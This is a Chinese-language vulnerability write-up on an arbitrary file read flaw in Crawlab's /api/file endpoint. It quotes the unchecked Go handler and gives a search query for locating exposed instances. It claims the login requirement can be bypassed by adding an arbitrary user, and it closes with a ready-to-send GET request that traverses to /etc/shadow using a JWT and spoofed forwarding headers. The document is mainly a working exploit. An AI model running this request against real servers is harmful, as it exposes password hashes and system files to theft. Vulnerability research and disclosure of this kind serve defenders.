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85 lines
2.1 KiB
Markdown
85 lines
2.1 KiB
Markdown
# Crawlab file 任意文件读取漏洞
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## 漏洞描述
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Crawlab 后台 /api/file接口 存在任意文件读取漏洞,攻击者通过漏洞就可以读取服务器中的任意文件
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## 漏洞影响
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```
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Crawlab v0.0.1
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```
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## 网络测绘
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```
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title="Crawlab"
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```
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## 漏洞复现
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登录页面
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首先查看路由位置 main.go 文件 中的 file 接口对应的函数
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```
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package routes
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import (
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"crawlab/utils"
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"github.com/gin-gonic/gin"
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"io/ioutil"
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"net/http"
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)
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// @Summary Get file
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// @Description Get file
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// @Tags file
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// @Produce json
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// @Param Authorization header string true "Authorization token"
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// @Success 200 json string Response
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// @Failure 400 json string Response
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// @Router /file [get]
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func GetFile(c *gin.Context) {
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path := c.Query("path")
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fileBytes, err := ioutil.ReadFile(path)
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if err != nil {
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HandleError(http.StatusInternalServerError, c, err)
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}
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c.JSON(http.StatusOK, Response{
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Status: "ok",
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Message: "success",
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Data: utils.BytesToString(fileBytes),
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})
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}
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```
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接口调用为后台才可调用,通过任意用户添加可以完成绕过
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path参数可控,发送Get请求读取任意文件
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```
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GET /api/file?path=../../etc/shadow HTTP/1.1
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Host:
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Content-Length: 0
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Accept: application/json, text/plain, */*
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Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjYwZGQxOWU0YmZjNzg3MDAxZDk1NjBjOSIsIm5iZiI6MTYzOTMwNTI2MiwidXNlcm5hbWUiOiJhZG1pbiJ9.mFRAwXN-QqTmFmPAxgFEJhVXwxVuxJMepHe4khADfgk
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
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Content-Type: application/json;charset=UTF-8
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: Hm_lvt_c35e3a563a06caee2524902c81975add=1639222117,1639278935; Hm_lpvt_c35e3a563a06caee2524902c81975add=1639278935
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x-forwarded-for: 127.0.0.1
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x-originating-ip: 127.0.0.1
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x-remote-ip: 127.0.0.1
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x-remote-addr: 127.0.0.1
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Connection: close
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```
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